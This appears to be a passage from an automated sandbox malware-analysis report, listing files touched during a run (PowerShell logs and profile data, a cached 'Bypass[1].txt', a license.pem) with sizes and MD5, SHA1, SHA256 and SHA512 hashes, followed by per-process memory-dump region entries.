MD509bf0ee0ba78038d4524878be0b6ffbe
SHA17314c1700a55f62414b74d09dca6b0ea076ac908
SHA256e5099dfd555a7dbba17eaee90a820c65519bb7204b349741c859d69921ec126e
SHA51207f4c79d5c05c7a80b7a1426df084d6386ff91eab010c6445291a42de9789079bc6e36cf3438daed87592d04142498d7788aa21d19cf2f86a0320d9c4fcef62d
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\POWERSHELL.exe.logFilesize
3KB
MD500e7da020005370a518c26d5deb40691
SHA1389b34fdb01997f1de74a5a2be0ff656280c0432
SHA256a529468d442b807290b41565130e4c52760af9abec37613114db3857f11ad4fe
SHA5129a02bacc6fb922d6202548e80e345c6cdec346b79ef7ac7a56f89fd342ff128de004065b9d010d015b54d4ca72f665ca658c7ffcd8eb906e14bfa5b48b43f2cf
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\CachesMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\G9LDH5FK\Bypass[1].txtFilesize
5KB
MD52890552ccaca01b92d782bb488c32821
SHA18af83e7120877eb9f74581dfa277cc4d093e0deb
SHA256140165898267a318479253845f3ffe4e0caeec6be50a4116574b8646617b841b
SHA5123c0c03d7f00fbc5275db23b129d3a270990616afd6961e35a54375dd0e2715eeb88f44c111e2a2e058358fbbf41706a9ff710125727fb4648edc5da473616f38
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD59204329578627dfbb5aea7f3e7b679a7
SHA15b4c08581babdc35a3cba9f7a14c97ccbda90f49
SHA256e272ebb51518b52fdfc30889109d5526c7cad86996df5bfea2dad36df8ffc938
SHA5120a9c851e4d8536331c3d8cd1d14a75f74a8a55bde0ad04b353e216b9bcce848daca7a5d26bda5c3ebd2e3c0bf91b65c3027a1cd211181f4ea89a0003dec8ae15
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD502a1a26525c65a359d41483180eaa6f7
SHA1c0e2578b92d20e925c1c87016d1a9fccee1ec56f
SHA256d0ec351493bdbc6cb94990b162bb8be5b0217277cc55ae12aa3c7ea704cdbc6e
SHA512d3271137241553f8316fcfc94dcf88c2887ee7bb0babddb4c1666fb5ae821a28425400299281422a4ebeb1f4c7369443b839d10f182279504bbba5f2f1cd94c2
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD5235a8eb126d835efb2e253459ab8b089
SHA1293fbf68e6726a5a230c3a42624c01899e35a89f
SHA2565ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
SHA512a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD5235a8eb126d835efb2e253459ab8b089
SHA1293fbf68e6726a5a230c3a42624c01899e35a89f
SHA2565ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
SHA512a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5e5f18c765fc0c1fa83fa6d3282e5f1b5
SHA18772df1201be53061ee46f096d7eee9110680c20
SHA2564b2d3b4de0a386291bd1668eb3359fb5a03e0bbea08596761abd2f0124dd663c
SHA512f4481f2aecb6888eefbafd5085dba60b917eb182ec74403666db59885e465fe63f36334ab97828c3700f04751be57a3e9d63a7971d410125ad135af2f6fac621
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5e5f18c765fc0c1fa83fa6d3282e5f1b5
SHA18772df1201be53061ee46f096d7eee9110680c20
SHA2564b2d3b4de0a386291bd1668eb3359fb5a03e0bbea08596761abd2f0124dd663c
SHA512f4481f2aecb6888eefbafd5085dba60b917eb182ec74403666db59885e465fe63f36334ab97828c3700f04751be57a3e9d63a7971d410125ad135af2f6fac621
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD5446dd1cf97eaba21cf14d03aebc79f27
SHA136e4cc7367e0c7b40f4a8ace272941ea46373799
SHA256a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
SHA512a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
-
C:\Users\Admin\license.pemFilesize
12B
MD57e4264088ccba3429fe967da77bec684
SHA1e94f6372834799a0063824e6beba190e851c584e
SHA2566e2deaa9d939ed332df86fb50d9a386a4ee5d7a1e26da30421465491601bf3cc
SHA512ec1e3271bc5c2171f6a43596bfc53b92c37b7897a5e120040eb06fbffe3f9ac9f27ae305a7a9e806b495cbc755eb6002c70a3eac4943abcfbf2d354533587e2b
-
\??\pipe\crashpad_3352_JHMCTSSEXHFDZJVSMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
memory/224-137-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/224-135-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/224-160-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/224-134-0x0000020AE2690000-0x0000020AE26B2000-memory.dmpFilesize
136KB
-
memory/1140-178-0x0000000000000000-mapping.dmp
-
memory/1612-152-0x0000000000000000-mapping.dmp
-
memory/1668-170-0x0000000000000000-mapping.dmp
-
memory/1668-174-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/1668-179-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/1976-148-0x0000000000000000-mapping.dmp
-
memory/2164-192-0x000000000040B65E-mapping.dmp
-
memory/2272-189-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/2272-194-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/2272-186-0x0000000000000000-mapping.dmp
-
memory/2416-144-0x0000000000000000-mapping.dmp
-
memory/2748-167-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/2748-185-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/2748-140-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/2820-150-0x0000000000000000-mapping.dmp
-
memory/3212-184-0x0000000000000000-mapping.dmp
-
memory/3428-182-0x0000000000000000-mapping.dmp
-
memory/3568-175-0x0000000000000000-mapping.dmp
-
memory/3984-143-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/3984-141-0x0000000000000000-mapping.dmp
-
memory/3984-156-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/4136-153-0x0000000000000000-mapping.dmp
-
memory/4136-157-0x00000219A7F80000-0x00000219A7F9A000-memory.dmpFilesize
104KB
-
memory/4136-164-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/4136-155-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/4180-181-0x0000000000000000-mapping.dmp
-
memory/4576-177-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/4576-196-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/4736-147-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/4736-166-0x00007FF9FCB20000-0x00007FF9FD5E1000-memory.dmpFilesize
10.8MB
-
memory/4760-173-0x0000000005680000-0x00000000056E6000-memory.dmpFilesize
408KB
-
memory/4760-169-0x00000000055E0000-0x000000000567C000-memory.dmpFilesize
624KB
-
memory/4760-168-0x0000000000B20000-0x0000000000B30000-memory.dmpFilesize
64KB
-
memory/4760-190-0x0000000005F40000-0x0000000005FD2000-memory.dmpFilesize
584KB
-
memory/4760-193-0x0000000006590000-0x0000000006B34000-memory.dmpFilesize
5.6MB
-
memory/4760-162-0x000000000040B65E-mapping.dmp
-
memory/4760-161-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/4916-151-0x0000000000000000-mapping.dmp